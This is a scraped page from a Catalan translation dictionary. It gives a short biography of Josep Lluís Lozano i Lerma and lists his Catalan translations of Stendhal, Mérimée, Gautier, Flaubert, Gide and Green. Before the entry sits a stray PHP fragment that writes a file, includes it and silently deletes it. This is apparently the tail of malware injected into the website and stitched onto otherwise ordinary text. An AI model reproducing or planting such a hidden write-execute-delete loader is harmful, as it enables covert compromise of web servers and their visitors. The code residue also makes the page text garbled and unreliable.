");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Lozano i Lerma, Josep Lluís
Facebook Twitter
Portada > Diccionari de la traducció catalana > Lozano i Lerma, Josep Lluís
Lozano i Lerma, Josep Lluís (Alginet, 1948). Escriptor. Estudià lletres modernes a la universitat de París VIII i filologia catalana a la Universitat de València. La seva novel·la Crim de Germania (1980) constituí una fita en la narrativa contemporània al País Valencià. Els anys noranta traduí del francès, per a l'editorial Bromera (la majoria, per a una col·lecció juvenil), narradors de primera fila dels segles xix i xx: Stendhal, Mérimée, Gautier, Flaubert, Gide i Green. El gran treball de recuperació i dignificació de la llengua des de les peculiaritats de la variant valenciana pròpia, com a tret característic de la seva creació literària, també és ben present en les seves traduccions. [Joan Manuel Verdegal i Cerezo]
GREEN, Julien. El viatger en la terra. Les claus de la mort. Alzira: Bromera, 1990. [Amb Maria Jesús Bolta]
GAUTIER, Théophile. El peu de la mòmia. Arria Marcella. Alzira: Bromera, 1991. [Amb Magda Añón]
STENDHAL. Vanina Vanini. Alzira: Bromera, 1992. [Amb Magda Añón]
MÉRIMÉE, Prosper. Carmen. Alzira: Bromera, 1993.
GIDE, André. La simfonia pastoral. Alzira: Bromera, 1993.
FLAUBERT, Gustave. Herodies. Alzira: Bromera, 1994.
Amb el suport de: